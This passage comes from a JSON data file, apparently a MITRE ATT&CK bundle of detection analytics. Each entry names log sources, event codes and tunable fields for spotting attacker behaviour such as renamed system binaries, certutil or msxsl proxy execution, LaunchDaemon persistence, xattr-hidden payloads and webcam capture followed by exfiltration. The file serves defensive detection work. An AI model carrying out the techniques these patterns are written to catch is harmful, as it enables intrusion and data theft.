                {
                    "field": "ApplicationCredentialType",
                    "description": "Track types like `client_secret`, `certificate`, `password`, `federated`."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "external_id": "AN0730"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0730",
            "description": "Use unified logs to detect unusual DNS responses correlated with subsequent connections to calculated or non-standard ports. Monitor non-browser apps making repeated outbound connections that deviate from expected patterns.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_platforms": [
                "macOS"
            ],
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                    "field": "ProcessAllowlist",
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                    "field": "ConnectionVolumeThreshold",
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                    "field": "TimeWindow",
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                },
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                    "field": "ExecUser",
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                }
            ],
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            "modified": "2025-10-21T15:10:28.402Z",
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                    "channel": "access to /Volumes/SharePoint or network mount"
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                {
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                {
                    "field": "AmplificationProtocolList",
                    "description": "Which protocols to watch (e.g., DNS, NTP, SSDP, Memcached)"
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            "description": "Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.",
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            "x_mitre_version": "1.0",
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                "enterprise-attack"
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                "macOS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'eventMessage contains \"exec\"'"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:osquery",
                    "channel": "launchd + process_events"
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                    "field": "ScriptLocation",
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                {
                    "field": "ParentProcess",
                    "description": "Shells spawned from Preview, Safari, or AppleScript."
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                {
                    "field": "UserRole",
                    "description": "Detection thresholds may differ for admin vs standard users."
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            ],
            "x_mitre_deprecated": false
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            "description": "Detects adversarial archiving using built-in or third-party utilities (makecab, diantz, xcopy, certutil, 7z, WinRAR, WinZip). Correlates suspicious process creation events with command-line arguments for compression/encoding, followed by creation of archive files (.cab, .zip, .7z, .rar). Identifies anomalous loading of crypt32.dll for encryption operations or execution of diantz.exe to compress remotely staged files.",
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                "enterprise-attack"
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                "Windows"
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                    "name": "WinEventLog:Security",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
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            ],
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                {
                    "field": "SuspiciousExtensions",
                    "description": "List of archive extensions considered high risk (.cab, .zip, .7z, .rar)."
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                {
                    "field": "ProcessAllowlist",
                    "description": "Known business utilities allowed to create archives without alerting."
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                {
                    "field": "FileSizeThresholdMB",
                    "description": "Minimum archive size threshold to filter out benign small compressions."
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            ],
            "x_mitre_deprecated": false
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            "name": "Analytic 0012",
            "description": "Execution of binaries where the on-disk filename does not match PE metadata such as OriginalFilename or InternalName. Often observed with renamed LOLBAS or system binaries like rundll32, powershell, or psexec.",
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                "enterprise-attack"
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                "Windows"
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                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "EDR:AMSI",
                    "channel": "None"
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                    "description": "Filter by suspicious or non-standard directory paths"
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                {
                    "field": "PEInternalNameMismatch",
                    "description": "Enable tuning based on mismatch rules between metadata and disk filename"
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                {
                    "field": "CommandLinePattern",
                    "description": "Flag unusual or rare argument combinations for LOLBAS-like tools"
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
                "enterprise-attack"
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db",
                    "name": "WinEventLog:Security",
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4704"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "field": "ObjectDN",
                    "description": "Focus detection on AD paths like CN=Policies,CN=System,DC=domain,DC=com."
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                    "field": "TargetFilename",
                    "description": "Target specific files like ScheduledTasks.xml or GptTmpl.inf in SYSVOL."
                },
                {
                    "field": "TimeWindow",
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                },
                {
                    "field": "UserContext",
                    "description": "Alert on unexpected modification by non-admins or uncommon accounts."
                },
                {
                    "field": "CommandLine",
                    "description": "Flag usage of GPO manipulation tools like Set-GPRegistryValue, New-GPOImmediateTask."
                }
            ]
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                    "external_id": "AN1453"
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            "name": "Analytic 1453",
            "description": "Execution of system enumeration commands such as `uname`, `df`, `uptime`, `hostname`, `lscpu`, and `cat /etc/os-release` through local terminal or scripts.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandList",
                    "description": "Customize list of commands of interest (e.g., uname, lscpu, etc.)"
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                {
                    "field": "TerminalSessionID",
                    "description": "Correlate sessions for behavior context."
                }
            ],
            "x_mitre_deprecated": false
        },
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                    "external_id": "AN0018"
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            "name": "Analytic 0018",
            "description": "Federated login using SSO or OAuth grant to cloud control plane, followed by directory or permissions enumeration",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Identity Provider"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5",
                    "name": "Okta:SystemLog",
                    "channel": "user.authentication.sso, app.oauth.grant"
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            ],
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                {
                    "field": "SSOApplicationScope",
                    "description": "Tune based on applications federated to high-priv cloud assets"
                },
                {
                    "field": "ClientIDScope",
                    "description": "Filter based on expected OIDC clients used for login"
                },
                {
                    "field": "LoginVelocity",
                    "description": "Track multiple geographic logins within short windows"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Correlate creation or modification of serverless functions (e.g., AWS Lambda, GCP Cloud Functions, Azure Functions) with anomalous IAM role assignments or permissions escalation events. Detect subsequent executions of newly created functions that perform unexpected actions such as spawning outbound network connections, accessing sensitive resources, or creating additional credentials.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "IaaS"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e",
                    "name": "AWS:CloudTrail",
                    "channel": "CreateFunction / UpdateFunctionConfiguration: Function creation, role assignment, or configuration change events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "AWS:CloudTrail",
                    "channel": "InvokeFunction: Unexpected or repeated invocation of functions not tied to known workflows"
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                    "field": "RoleScope",
                    "description": "Which IAM roles or privileges are considered sensitive when applied to functions"
                },
                {
                    "field": "AllowedFunctions",
                    "description": "Known baseline list of approved serverless functions to reduce false positives"
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal threshold for correlating function creation with anomalous execution"
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            "description": "Detects kernel- or user-space exploitation attempts targeting auditd, AV daemons, or security monitoring agents. Defender observation includes unexpected segfaults, privilege escalation attempts from low-privileged processes, or modifications to security binaries. Correlates exploitation attempts with subsequent gaps in logging or terminated processes.",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of suspicious exploit binaries targeting security daemons"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "Segfaults, kernel oops, or crashes in security software processes"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "WatchedBinaries",
                    "description": "List of critical security daemons (e.g., auditd, falco, AV agents) to monitor for exploitation."
                },
                {
                    "field": "CrashPatterns",
                    "description": "Regex or patterns for kernel/syslog errors correlated with exploitation attempts."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "name": "Analytic 0559",
            "description": "Execution of built-in tools (e.g., ipconfig, route, netsh) or PowerShell/WMI queries to enumerate IP, MAC, interface status, or routing configuration.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcess",
                    "description": "Filter known/legit CLI chains (e.g., explorer.exe \u2192 cmd.exe) to reduce FP"
                },
                {
                    "field": "UserContext",
                    "description": "Target executions by non-admin or unexpected users"
                },
                {
                    "field": "TimeWindow",
                    "description": "Cluster enumeration commands within short time windows"
                }
            ]
        },
        {
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            "id": "x-mitre-analytic--ee065e5f-5a04-49bd-b2b6-33b404ac37c7",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1236",
            "description": "Local user accounts are created via binaries like 'useradd', 'adduser', or by editing passwd/shadow. Behavior chain includes execution of user management binaries or modification of user database files.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                {
                    "field": "ParentProcess",
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                {
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                    "field": "DestinationHostname",
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                    "description": "File types commonly abused (.lnk, .scf, .url, .doc/.xls/.ppt/.pdf/.html). Extend for your tooling and languages."
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                    "field": "OfficeTemplatePaths",
                    "description": "Paths to Office templates to catch template injection references and abnormal loads."
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                    "field": "ApprovalAmountThreshold",
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                    "field": "ExpectedAdminUsers",
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                    "field": "TimeWindow",
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                    "field": "OperationThreshold",
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                    "field": "AuthorizedVMs",
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                    "field": "LegitimateMSIHashes",
                    "description": "Hash list of MSI packages considered known-good to reduce false positives"
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                    "field": "FinanceAppList",
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                    "field": "HighRiskAccounts",
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                    "field": "AllowedAppBundlePaths",
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                    "field": "SignedToUnsignedTransition",
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            "x_mitre_deprecated": false
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            "type": "x-mitre-analytic",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1999",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "Network Traffic",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "Network Traffic",
                    "channel": "None"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f313053f-5898-4f47-b263-a60098f5c963",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0205#AN0581",
                    "external_id": "AN0581"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0581",
            "description": "Execution of XSL scripts via msxsl.exe or wmic.exe using embedded JScript or VBScript for proxy execution. Detection correlates process creation, command-line patterns, and module load behavior of scripting components (e.g., jscript.dll).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandLinePattern",
                    "description": "May need to tune based on encoded input or custom extensions (e.g., .jpeg instead of .xsl)."
                },
                {
                    "field": "ParentProcess",
                    "description": "Legitimate administrative or developer tools may use msxsl; validate the parent process chain."
                },
                {
                    "field": "TimeWindow",
                    "description": "Temporal correlation window between script engine DLL load and suspicious process spawn."
                },
                {
                    "field": "RemoteXSLDomainWhitelist",
                    "description": "Filter known safe URLs used by enterprise for XSL transformations."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f315abd4-7115-45ac-9466-64c23367cd41",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0571#AN1577",
                    "external_id": "AN1577"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1577",
            "description": "Detects creation or modification of `LaunchDaemon` or `LaunchAgent` plist files under `/Library/LaunchDaemons/`, `~/Library/LaunchAgents/`, or similar. Monitors execution of `launchctl`, property list edits, and file permission changes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "launchctl load/unload or plist file modification"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
                    "name": "fs:fsusage",
                    "channel": "file write to launchd plist paths"
                }
            ],
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                {
                    "field": "PlistPathList",
                    "description": "Watched directories for LaunchDaemons and LaunchAgents"
                },
                {
                    "field": "PlistKeyMonitor",
                    "description": "Monitored keys such as `RunAtLoad`, `KeepAlive`, or `ProgramArguments`"
                },
                {
                    "field": "UnsignedBinaryAlert",
                    "description": "Flag execution of unsigned or non-Apple-signed binaries within plist"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f3478623-5b5c-482e-96f1-6b225ff8fa70",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0138#AN0388",
                    "external_id": "AN0388"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0388",
            "description": "Execution of InstallUtil.exe from .NET framework directories with arguments specifying non-standard or attacker-supplied assemblies, especially when followed by suspicious child process creation or script execution. Detection also includes correlation of newly created binaries prior to InstallUtil invocation and anomalous command-line usage compared to historical baselines.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "WinEventLog:PowerShell",
                    "channel": "EventCode=4103, 4104, 4105, 4106"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                }
            ],
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                {
                    "field": "InstallUtilPathRegex",
                    "description": "Regex pattern for InstallUtil.exe in .NET directories; tune to exclude known good administrative scripts"
                },
                {
                    "field": "AssemblyPathRegex",
                    "description": "Patterns for identifying suspicious assemblies (e.g., in temp folders, user profiles)"
                },
                {
                    "field": "ChildProcessList",
                    "description": "List of suspicious child processes spawned from InstallUtil.exe (e.g., cmd.exe, powershell.exe, rundll32.exe)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Time correlation window between file creation of assembly and its execution via InstallUtil.exe"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f392a2cb-dd4b-4585-84d5-1fa4bd65ff60",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0063#AN0172",
                    "external_id": "AN0172"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0172",
            "description": "Detects Python execution via python.exe or py.exe with anomalous parent lineage (e.g., Office macros, LOLBAS), execution from unusual directories, or chained network/PowerShell/system-level activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "EDR:hunting",
                    "channel": "Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ParentProcess",
                    "description": "Non-standard processes spawning python.exe (e.g., winword.exe, mshta.exe)."
                },
                {
                    "field": "ScriptPath",
                    "description": "Execution of .py from temp directories or user profile paths."
                },
                {
                    "field": "TimeWindow",
                    "description": "Execution outside maintenance or patch windows."
                },
                {
                    "field": "UserContext",
                    "description": "Execution by low-privileged or service accounts."
                },
                {
                    "field": "ChildProcess",
                    "description": "Python spawning suspicious binaries or scripts (e.g., PowerShell, certutil)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f398e8ff-8c61-4672-8ace-118b11a38515",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0406#AN1135",
                    "external_id": "AN1135"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1135",
            "description": "Abuse of extended attributes (xattrs) to embed hidden payloads into legitimate files. Defender perspective: detect anomalous use of setfattr or getfattr commands, or direct syscalls (setxattr, getxattr) where attributes are unusually large or contain encoded data. Behavior chain includes: (1) execution of setfattr with suspicious namespaces (user., trusted.), (2) file metadata modification inconsistent with file size/hash, and (3) subsequent process execution reading attributes followed by decoding activity.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
                    "name": "auditd:SYSCALL",
                    "channel": "setxattr or getxattr system call"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:EXECVE",
                    "channel": "execution of setfattr or getfattr commands"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "XattrNamespaces",
                    "description": "Namespaces monitored for suspicious activity (user., trusted., security.). Organizations may tune to reduce noise from benign use."
                },
                {
                    "field": "PayloadSizeThreshold",
                    "description": "Size of xattr values above which they should be considered anomalous (e.g., >1KB)."
                },
                {
                    "field": "CorrelationWindow",
                    "description": "Time window to correlate xattr modification with process execution from the same file."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f3c5c71a-da1b-4d09-bda7-ec07b0b7c05d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0197#AN0569",
                    "external_id": "AN0569"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0569",
            "description": "A process opens/reads /dev/video* (V4L2), performs ioctl/read loops, writes large/continuous video artifacts to disk, and/or quickly establishes outbound connections for exfiltration.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "auditd:SYSCALL",
                    "channel": "openat/read/ioctl: openat/read/ioctl on /dev/video* by uncommon user/process"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "PATH records referencing /dev/video*"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1",
                    "name": "linux:osquery",
                    "channel": "select: path LIKE '/dev/video%'"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "linux:syslog",
                    "channel": "sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SyscallSet",
                    "description": "Which syscalls to audit (openat, read, ioctl) \u2013 performance sensitive."
                },
                {
                    "field": "AllowedCallers",
                    "description": "Legitimate processes (e.g., motion, Zoom, Chrome) that access /dev/video*."
                },
                {
                    "field": "VideoExtensions",
                    "description": "List of file extensions to flag (.mp4/.avi/.mov/.mkv/.yuv/.h264)."
                },
                {
                    "field": "MinContinuousReadCount",
                    "description": "Minimum read/ioctl count to infer continuous capture."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate device open \u2192 file write \u2192 network exfil (e.g., 30m)."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f3dfb562-94ef-44ea-be4f-17ac2d0771b5",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0127#AN0359",
                    "external_id": "AN0359"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0359",
            "description": "Adversary places scripts or binaries with misleading names in /etc/rc.local.d or /var/spool/cron, or registers services with legitimate-sounding names not present in default ESXi builds.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "ESXi"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
                    "name": "esxi:hostd",
                    "channel": "registers services with legitimate-sounding names"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "esxi:shell",
                    "channel": "scripts or binaries with misleading names"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServiceNameBaseline",
                    "description": "Tune based on default service names vs. suspicious new entries"
                },
                {
                    "field": "ScriptFilePath",
                    "description": "Watch for new binaries/scripts in boot or cron folders"
                },
                {
                    "field": "ExecutionContext",
                    "description": "Determine if execution happens at boot or scheduled interval"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--f403ae40-31ff-4550-b21f-e1c24315276d",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0270#AN0755",
                    "external_id": "AN0755"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0755",
